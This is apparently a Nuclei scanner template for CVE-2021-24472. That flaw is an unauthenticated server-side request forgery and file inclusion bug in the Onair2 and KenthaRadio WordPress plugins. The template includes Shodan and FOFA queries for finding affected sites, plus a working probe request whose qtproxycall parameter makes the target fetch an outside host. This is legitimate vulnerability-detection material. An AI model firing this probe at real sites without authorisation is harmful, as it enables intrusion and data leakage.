Onair2 < 3.9.9.2 and KenthaRadio < 2.0.2 have exposed proxy functionality to unauthenticated users. Sending requests to this proxy functionality will have the web server fetch and display the content from any URI, allowing remote file inclusion and server-side request forgery.
id: CVE-2021-24472
info:
name: Onair2 < 3.9.9.2 & KenthaRadio < 2.0.2 - Remote File Inclusion/Server-Side Request Forgery
author: Suman_Kar
severity: critical
description: |
Onair2 < 3.9.9.2 and KenthaRadio < 2.0.2 have exposed proxy functionality to unauthenticated users. Sending requests to this proxy functionality will have the web server fetch and display the content from any URI, allowing remote file inclusion and server-side request forgery.
impact: |
Remote File Inclusion/Server-Side Request Forgery vulnerability allows an attacker to include arbitrary files or make requests to internal resources, leading to potential data leakage, unauthorized access.
remediation: |
Update Onair2 to version 3.9.9.2 or higher and KenthaRadio to version 2.0.2 or higher to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/17591ac5-88fa-4cae-a61a-4dcf5dc0b72a
- https://nvd.nist.gov/vuln/detail/CVE-2021-24472
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24472
cwe-id: CWE-918
epss-score: 0.56614
epss-percentile: 0.99009
cpe: cpe:2.3:a:qantumthemes:kentharadio:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: qantumthemes
product: kentharadio
framework: wordpress
shodan-query: http.html:/wp-content/plugins/qt-kentharadio
fofa-query: body=/wp-content/plugins/qt-kentharadio
publicwww-query: "/wp-content/plugins/qt-kentharadio"
tags: cve2021,cve,wordpress,lfi,ssrf,wp,wp-plugin,wpscan,qantumthemes,vuln
http:
- method: GET
path:
- '{{BaseURL}}/wp1/home-18/?qtproxycall=https://oast.me'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<h1> Interactsh Server </h1>"
- type: status
status:
- 200
# digest: 4b0a0048304602210096ccfda871b7d392869608584c03b89b77e2699c788d2dd7a10cf3f3c23c837f022100fc3373f130f71e362575a9545fca052e62eb9304c4ff2e833260602275f65720:922c64590222798bb761d5b6d8e72950
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